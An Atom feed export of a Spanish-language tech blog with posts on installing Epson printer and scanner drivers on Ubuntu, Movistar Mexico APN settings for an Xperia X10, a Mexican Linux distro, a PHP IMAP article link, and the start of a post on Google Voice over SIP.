<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3971268403351675079</id><updated>2012-01-21T17:26:19.305-08:00</updated><category term='packetfence'/><category term='laser'/><category term='LPIC-1'/><category term='postgresql'/><category term='centreon english'/><category term='SQL'/><category term='cable'/><category term='LPIC'/><category term='development'/><category term='free'/><category term='desarrollo'/><category term='storage'/><category term='printing'/><category term='usar wireshark'/><category term='Kernel'/><category term='open source'/><category term='tx 420 w'/><category term='Helix español'/><category term='Curso'/><category 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slackware'/><category term='recovery'/><category term='baseline'/><category term='router'/><category term='hibernate'/><category term='ACM'/><category term='openstack'/><category term='monitoreo de red'/><category term='office'/><category term='research'/><category term='rackspace'/><category term='ebooks'/><category term='imprimir'/><category term='opensuse'/><category term='php'/><category term='programming'/><category term='tutorial'/><category term='Configure Vlan'/><category term='x11r7'/><category term='novell'/><category term='nagios'/><category term='bandwidthd'/><category term='Instalar centreon'/><category term='monitoring'/><category term='hagakure'/><category term='aircrack español'/><category term='escanear'/><category term='recuperar datos'/><category term='C#'/><category term='tutorial vmware slackware'/><category term='6900'/><category term='101ftb'/><category term='slackware'/><category term='cañon en linux'/><category term='cruzado'/><category term='decibel'/><category term='IEEE 802.1Q'/><category term='switching'/><category term='imap'/><category term='Linux'/><category term='cable cruzado'/><category term='sniffer'/><category term='directx 11'/><category term='microsoft'/><category term='data transmission'/><category term='touchscreen'/><category term='skinput'/><category term='movistar'/><category term='qt'/><category term='iptables'/><category term='ksplice'/><category term='password'/><category term='pandora'/><category term='reverse telnet'/><title type='text'>Elektrobeat Blog</title><subtitle type='html'>Algunas de mis memorias por el mundo informático.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>59</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-1404957746958419810</id><published>2011-05-19T09:19:00.000-07:00</published><updated>2011-05-19T09:19:18.543-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='epson drivers'/><category scheme='http://www.blogger.com/atom/ns#' term='scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='escanear'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='avasys'/><category scheme='http://www.blogger.com/atom/ns#' term='tx 420 w'/><category scheme='http://www.blogger.com/atom/ns#' term='printing'/><category scheme='http://www.blogger.com/atom/ns#' term='imprimir'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Drivers de Epson (Epson Stylus TX 420w) para Linux</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.wirefresh.com/images/epson-stylus-nx420-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.wirefresh.com/images/epson-stylus-nx420-1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;Gracias a que en la oficina tuve que instalar un pequeño multifuncional &lt;b&gt;Epson Stylus TX 420w&lt;/b&gt; tanto para escanear como para imprimir, he decidido documentar la manera en que lo hice, habré de aclarar que fue en &lt;b&gt;Ubuntu 10.04&lt;/b&gt; (usualmente no posteo cosas sobre Ubuntu, ya que saben bien que no lo miro con buenos ojos, sin embargo no puedo pasar la ocasión de documentarlo). &lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;Como habrán de encontrar, Ubuntu tiene un bug &lt;span style="font-size: small;"&gt;(&lt;/span&gt;&lt;a href="https://bugs.launchpad.net/ubuntu/+source/cups/+bug/667507"&gt;&lt;i&gt;Bug #667507: &lt;span style="font-size: small;"&gt;&lt;span class="yui3-editable_text-text"&gt;epson tx420w won't print anything - pdftoraster failed&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;) que no permite imprimir con este modelo de impresora, por lo tanto procederemos a lo siguiente:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: large;"&gt;Impresión.&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;ol&gt;&lt;li style="font-family: Arial,Helvetica,sans-serif;"&gt;De la página de &lt;a href="http://www.openprinting.org/printer/Epson/Epson-TX420W_Series"&gt;Openprinting&lt;/a&gt;, descargaremos el respectivo driver, en el caso de ubuntu para 32 bits es el paquete .&lt;a href="http://linux.avasys.jp/drivers/lsb/epson-inkjet/stable/debian/dists/lsb3.2/main/binary-i386/epson-inkjet-printer-nx420_1.0.0-1lsb3.2_i386.deb"&gt;deb&lt;/a&gt; (hacer clic en Openprinting para descargar versiones de 32 y 64 bits, empaquetadas en .rpm y .deb).&lt;/li&gt;&lt;li style="font-family: Arial,Helvetica,sans-serif;"&gt;Una vez descargado, pueden hacer doble clic sobre él, o bien ir a la consola y teclear:&amp;nbsp;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sudo su; &lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;en el caso de distros basadas en rpm sólo es:&lt;/span&gt; su&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;dpkg --install epson-[version].deb &lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;(en el caso de ubuntu)&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;En el caso de haber descargado el paquete para una distribución en .rpm el comando es:&lt;/span&gt; rpm -Uvh epson-[version].rpm&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Con estos pasos ya podremos dar de alta una impresora en CUPS, recuerden que CUPS se maneja vía interfaz web en la dirección: &lt;a href="http://localhost:631/"&gt;http://localhost:631&lt;/a&gt;, sólo seleccionando la marca y el modelo. Es importante recalcar que si ya tienes la impresora dada de alta, entonces tienes que &lt;b&gt;primeramente eliminarla&lt;/b&gt; y proceder a darla de alta nuevamente.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Ahora envía una sencilla página de prueba a la impresora, si todo fue bien, felicidades!!! Ya puedes imprimir.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;Escáner&lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Ahora toca el turno a configurar el escáner, me costó un poco de trabajo debido a que la información estaba en francés y la verdad desconfiaba un poco, aquí voy a aclarar, éste método &lt;b&gt;está probado sólo en Ubuntu&lt;/b&gt;, desconozco si funcione en otras distros&lt;/span&gt;.&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;Bien, pues manos a la obra:&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;Según el enlace encontrado en un &lt;a href="http://forum.ubuntu-fr.org/viewtopic.php?pid=4508461"&gt;foro francés de Ubuntu&lt;/a&gt;, sólo necesitaremos instalar &lt;b&gt;en el orden dado&lt;/b&gt; los siguientes paquetes:&lt;/div&gt;&lt;ol style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;li&gt;&lt;a href="http://linux.avasys.jp/drivers/iscan-data/1.8.1/iscan-data_1.8.1-1_all.deb"&gt;iscan-data&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://linux.avasys.jp/drivers/iscan/2.26.3/iscan_2.26.3-1.ltdl7_i386.deb"&gt;iscan 32 bits&lt;/a&gt; o &lt;a href="http://linux.avasys.jp/drivers/iscan/2.26.3/iscan_2.26.3-1.ltdl7_amd64.deb"&gt;iscan 64 bits&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://linux.avasys.jp/drivers/scanner-plugins/iscan-network-nt/1.1.0/iscan-network-nt_1.1.0-2_i386.deb"&gt;iscan-network 32 bits&lt;/a&gt; o &lt;a href="http://linux.avasys.jp/drivers/scanner-plugins/iscan-network-nt/1.1.0/iscan-network-nt_1.1.0-2_amd64.deb"&gt;iscan-network 64 bits&lt;/a&gt; (éste último supongo que es para añadir soporte de red, el cual por su puesto no lo instalé, sólo los dos primeros.)&lt;/li&gt;&lt;/ol&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;Otra página que se ve muy buena en cuanto a los drivers para EPSON, ya sea para multifuncionales, láser, inkjet, copiadoras y todo eso es &lt;a href="http://avasys.jp/eng/linux_driver/download/"&gt;avasys&lt;/a&gt;. Un tutorial que nos enseña cómo hacerlo desde Avasys lo puedes encontrar &lt;a href="http://doc.ubuntu-fr.org/tutoriel/installer_une_imprimante_epson"&gt;aquí&lt;/a&gt;, tranquilo si lo encuentras en francés, para eso tenemos a &lt;a href="http://translate.google.com/"&gt;translate.google.com&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Chécalas y postea si pudiste encontrar alguna solución, la comunidad lo agradecerá.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;Fuentes:&amp;nbsp;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;a href="http://doc.ubuntu-fr.org/tutoriel/installer_une_imprimante_epson"&gt;http://doc.ubuntu-fr.org/tutoriel/installer_une_imprimante_epson&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;a href="http://forum.ubuntu-fr.org/viewtopic.php?pid=4508461"&gt;http://forum.ubuntu-fr.org/viewtopic.php?pid=4508461&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;a href="http://avasys.jp/eng/linux_driver/download/"&gt;http://avasys.jp/eng/linux_driver/download/&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;a href="https://bugs.launchpad.net/ubuntu/+source/cups/+bug/667507"&gt;https://bugs.launchpad.net/ubuntu/+source/cups/+bug/667507&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-1404957746958419810?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/1404957746958419810/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/05/drivers-de-epson-epson-stylus-tx-420w.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1404957746958419810'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1404957746958419810'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/05/drivers-de-epson-epson-stylus-tx-420w.html' title='Drivers de Epson (Epson Stylus TX 420w) para Linux'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-3047019812261530461</id><published>2011-05-18T08:21:00.000-07:00</published><updated>2011-05-18T08:21:05.011-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='imap'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='imap mail script'/><title type='text'>Create Your Own Mail Script With PHP and IMAP</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t1.gstatic.com/images?q=tbn:ANd9GcTULZFfgJOzBWWrk1wztldeOGPuXgqjfiexQWSE47lT0yo6Q58iqA&amp;amp;t=1" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t1.gstatic.com/images?q=tbn:ANd9GcTULZFfgJOzBWWrk1wztldeOGPuXgqjfiexQWSE47lT0yo6Q58iqA&amp;amp;t=1" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="font-size: x-small;"&gt;Thanks to PHP, we can check our email account remotely using PHP and its imap_xxx functions, which allow us to communicate with mail servers via IMAP, POP3 or NNTP protocols. In this article Mitchell shows us how to create a completely web-based email checking script which can also delete, send and reply to emails... all using only PHP's IMAP functions.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Original Course link is here:&lt;br /&gt;&lt;a href="http://www.devarticles.com/c/a/PHP/Create-Your-Own-Mail-Script-With-PHP-and-IMAP/"&gt;http://www.devarticles.com/c/a/PHP/Create-Your-Own-Mail-Script-With-PHP-and-IMAP/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-3047019812261530461?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/3047019812261530461/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/05/create-your-own-mail-script-with-php.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3047019812261530461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3047019812261530461'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/05/create-your-own-mail-script-with-php.html' title='Create Your Own Mail Script With PHP and IMAP'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-6755273219083847000</id><published>2011-04-13T10:21:00.000-07:00</published><updated>2011-04-13T14:23:16.307-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mexico'/><category scheme='http://www.blogger.com/atom/ns#' term='xperia x10'/><category scheme='http://www.blogger.com/atom/ns#' term='movistar'/><category scheme='http://www.blogger.com/atom/ns#' term='x10'/><category scheme='http://www.blogger.com/atom/ns#' term='3g'/><category scheme='http://www.blogger.com/atom/ns#' term='android movistar'/><title type='text'>3G de Movistar México en Xperia X10</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.clonick.com/blog/wp-content/plugins/wp-o-matic/cache/d58ac_xperia-x10-post-2009-11-02-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="http://www.clonick.com/blog/wp-content/plugins/wp-o-matic/cache/d58ac_xperia-x10-post-2009-11-02-1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Buscando información sobre cómo configurar el 3G para movistar en México en un celular Sony Ericsson Xperia X10a, que como ya saben tiene android instalado, me he encontrado con que aparentemente se configura de la siguiente manera:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;CONFIGURACION movistar Internet&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1. Ingresa al Menú principal, selecciona Configuración&amp;gt;Controles  inalámbricos&amp;gt;Redes móviles&amp;gt;Nombres de puntos de acceso.&lt;br /&gt;2. Oprime la primer tecla del teléfono en forma de cuadros y selecciona  APN nuevo&lt;br /&gt;3. En el campo de Nombre ingresa movistar Internet y oprime Aceptar. &lt;br /&gt;4. En el campo de APN ingresa internet.movistar.mx y oprime Aceptar.&lt;br /&gt;5. En el campo de Nombre de usuario ingresa &lt;i&gt;movistar&lt;/i&gt; y oprime Aceptar.&lt;br /&gt;6. En el campo de Contraseña ingresa &lt;i&gt;movistar&lt;/i&gt; y oprime Aceptar.&lt;br /&gt;7. En el campo de MCC ingresa 334 y oprime Aceptar.&lt;br /&gt;8. En el campo de MNC ingresa 030y oprime Aceptar.&lt;br /&gt;9. En el campo de Tipo de APN ingresa default, suply oprime Aceptar.&lt;br /&gt;10. Oprime el primer botón izquierdo del teléfono y posteriormente  Guardar.&lt;br /&gt;11. Selecciona Nombres de punto de acceso y selecciona el círculo de  selección ubicado a la derecha de la cuenta creada.&lt;br /&gt;12. Oprime 4 veces el tercer botón de la derecha del teléfono para  regresar a la pantalla principal.&lt;br /&gt;&lt;br /&gt;&lt;b&gt; CONFIGURACION movistar MMS&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1. Ingresa al Menú principal, selecciona Configuración&amp;gt;Controles  inalámbricos&amp;gt;Redes móviles&amp;gt;Nombres de puntos de acceso.&lt;br /&gt;2. Oprime el primer botón izquierdo y selecciona APN nuevo&lt;br /&gt;3. En el campo de Nombre ingresa movistar MMS y oprime Aceptar. &lt;br /&gt;4. En el campo de APN ingresa mms.movistar.mx y oprime Aceptar.&lt;br /&gt;5. En el campo de Nombre de usuario ingresa &lt;i&gt;movistar&lt;/i&gt; y oprime Aceptar.&lt;br /&gt;6. En el campo de Contraseña ingresa &lt;i&gt;movistar&lt;/i&gt; y oprime Aceptar.&lt;br /&gt;7. En el campo de MMSC ingresa http://mms.movistar.mx y oprime Aceptar.&lt;br /&gt;&lt;br /&gt;8. En el campo de Proxy MMS ingresa 010.002.020.001y oprime Aceptar.&lt;br /&gt;9. En el campo de Puerto MMS ingresa 80y oprime Aceptar.&lt;br /&gt;10. En el campo de MCC ingresa 334 y oprime Aceptar.&lt;br /&gt;11. En el campo de MNC ingresa 030y oprime Aceptar.&lt;br /&gt;12. En el campo de Tipo de APN ingresa mms y oprime Aceptar.&lt;br /&gt;13. Oprime el primer botón izquierdo del teléfono y selecciona Guardar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hasta aquí todo me ha funcionado sin problemas en el celular, voy a revisar las demás configuraciones a ver si todo funciona como debiera.&lt;br /&gt;&lt;br /&gt;Fuente: &lt;a href="http://www.conecta2movistar.com/archive/index.php/t-11939.html"&gt;aquí.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludines...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-6755273219083847000?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/6755273219083847000/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/04/3g-de-movistar-configurado-en-xperia.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6755273219083847000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6755273219083847000'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/04/3g-de-movistar-configurado-en-xperia.html' title='3G de Movistar México en Xperia X10'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-8725791550077374833</id><published>2011-03-14T12:10:00.000-07:00</published><updated>2011-03-14T12:14:31.070-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='orvitux'/><category scheme='http://www.blogger.com/atom/ns#' term='mexico'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='mexican linux'/><title type='text'>Orvitux, una distro 100% mexicana</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://profile.ak.fbcdn.net/hprofile-ak-snc4/162021_145017158893123_907856_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/162021_145017158893123_907856_n.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Hace unos días me enteré que en México existe un proyecto de software libre que mantiene una distro de linux, ¿qué?, ¿cómo?, pues sí, ha leído bien, &lt;b&gt;hay una distro desarrollada en México&lt;/b&gt;. El nombre de esta distro es Orvitux, tiene su sitio en &lt;a href="http://orvitux.com.mx/inicio/"&gt;http://orvitux.com.mx/inicio/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Según lo he podido verificar, Orvitux es un desarrollo 100% jaliscience y una marca registrada. Asimismo tal como lo establece en su página, es una derivada de Unity Linux que tiene como fin impactar en el sector comercial, así como en las PC's hogareñas.&lt;br /&gt;&lt;br /&gt;Una de las características que me comenta el propio autor es el rolling release, pero a qué se refiere esto?, pues bien, según la wiki se refiere a un sistema de software en constante desarrollo, totalmente opuesto a algunas otras distros que requieren la reinstalación de una nueva versión sobre la otra, es decir, tienen que formatear y volver a instalar y configurar todos sus paquetes; con rolling release sólo tendrán que actualizar los paquetes de una forma muy sencilla: "hacer clik en nuestro administrador de paquetes,  refrescar channels y clikar donde dice actualizar todo &lt;i&gt;et voilà&lt;/i&gt; tu sistema actualizado tendrás".&lt;br /&gt;&lt;br /&gt;Sinceramente los invito a que prueben la distro (yo también lo haré!!), una manera que tenemos todos de contribuir con el creador es precisamente haciéndolo y reportando bugs así como aquellas características que ustedes crean que deban incluirse.&lt;br /&gt;&lt;br /&gt;Orvitux está presente en facebook, su grupo lo puedes encontrar en (clic en la imagen):&lt;a href="http://www.facebook.com/pages/Orvitux-Linux-System/145017158893123"&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.facebook.com/pages/Orvitux-Linux-System/145017158893123" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="200" src="http://www.gramacionesgrabofonicas.com/wordpress/wp-content/uploads/facebook.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;La descarga de la ISO puede ser desde &lt;b&gt;&lt;/b&gt;&lt;b&gt;&lt;a href="http://www.tipete.com/ext?url=http://orvitux.com.mx/inicio/index.php/descarga-orvitux&amp;amp;ad=%20http://vxv.tipete.com/buscar/orvitux%20te%20escucho%20y%20cambio%20para%20ti&amp;amp;w=800&amp;amp;h=800" onclick="load_pop_power();" rel="nofollow" target="_blank"&gt;http://orvitux.com.mx/inicio/index.php/descarga-orvitux&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-weight: normal;"&gt;Las &lt;b&gt;sugerencias&lt;/b&gt; que vayan teniendo, así como los &lt;b&gt;bugs&lt;/b&gt;, las pueden hacer a la dirección &lt;a href="http://forum.unity-linux.org/forum-45.html"&gt;http://forum.unity-linux.org/forum-45.html&lt;/a&gt;, tan sólo habrá que registrarse para poderlo realizar.&lt;/span&gt; &lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-8725791550077374833?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/8725791550077374833/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/03/orvitux-una-distro-100-mexicana.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/8725791550077374833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/8725791550077374833'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/03/orvitux-una-distro-100-mexicana.html' title='Orvitux, una distro 100% mexicana'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-8577661266752564667</id><published>2011-03-08T08:52:00.000-08:00</published><updated>2011-03-08T08:52:32.503-08:00</updated><title type='text'>Llamadas a Google Voice a través de SIP</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://blog.radvision.com/images/2009/20091123-VoipSurvivor-google.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="141" src="http://blog.radvision.com/images/2009/20091123-VoipSurvivor-google.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;La telefonía sobre &lt;a href="http://bitelia.com/tag/ip"&gt;IP&lt;/a&gt;, llamada &lt;a href="http://bitelia.com/tag/voip"&gt;VoIP&lt;/a&gt;,  está despuntando claramente en los últimos años. Actualmente existen  operadores en españa (por ejemplo Vodafone) que ofrecen su servicio de  teléfono fijo a través de &lt;a href="http://bitelia.com/tag/voip"&gt;VoIP&lt;/a&gt;.  Además de las evidentes ventajas de calidad que esto supone y de los  inconvenientes que pueda tener, es una tecnología en auge de la que se  esperan grandes cosas.Aunque es una tecnología que lleva muchos  años entre nosotros, su implementación y desarrollo ha ido cambiando  paulatinamente debido a sus propios avances. Hace no mucho (y todavía se  usan) centrales analógicas y &lt;i&gt;switch&lt;/i&gt; para cambiar entre líneas ya que, cada canal, sólo podía soportar una llamada.&lt;br /&gt;Así, para acceder a &lt;a href="http://bitelia.com/tag/google-voice"&gt;Google Voice&lt;/a&gt;  desde cualquier programa externo, se necesitaba hacer uso del PSTN  (Public switched telephone network) una tecnología obsoleta que hace  poco eficaz la transferencia de datos y la gestión del sistema (utiliza  más ancho de banda, una sola llamada por línea, mucho coste para  implementar servicios añadidos, falta de escalabilidad…) que &lt;b&gt;la  nueva tecnología SIP, un paso más que facilita mucho el trabajo de los  programadores y desarrolladores que pretendan hacer uso de &lt;a href="http://bitelia.com/tag/google-voice"&gt;Google Voice&lt;/a&gt;&lt;/b&gt;.&lt;br /&gt;&lt;span id="more-87901"&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://bitelia.com/tag/google-voice"&gt;Google Voice&lt;/a&gt; no es un servicio nuevo (aunque sí de cara al público) ya que ha sido el resultado &lt;a href="http://bitelia.com/2009/03/google-voice-llega-para-reemplazar-a-grand-central"&gt;de la compra de Grand Central&lt;/a&gt;  por parte del gigante de las búsquedas. Esto ha acarreado que, aunque  se trate de algo que pueda ser potencialmente avanzado, deriva de una  tecnología que no estaba actualizada y es algo que los chicos de &lt;a href="http://bitelia.com/tag/google"&gt;Google&lt;/a&gt; están tratando de mejorar poco a poco.&lt;br /&gt;Ahora &lt;b&gt;ya podemos hacer uso de SIP para acceder a nuestro número &lt;a href="http://bitelia.com/tag/google-voice"&gt;Google Voice&lt;/a&gt;&lt;/b&gt;  (los que lo tengan) y saltarnos el PSTN (con las ventajas que ello  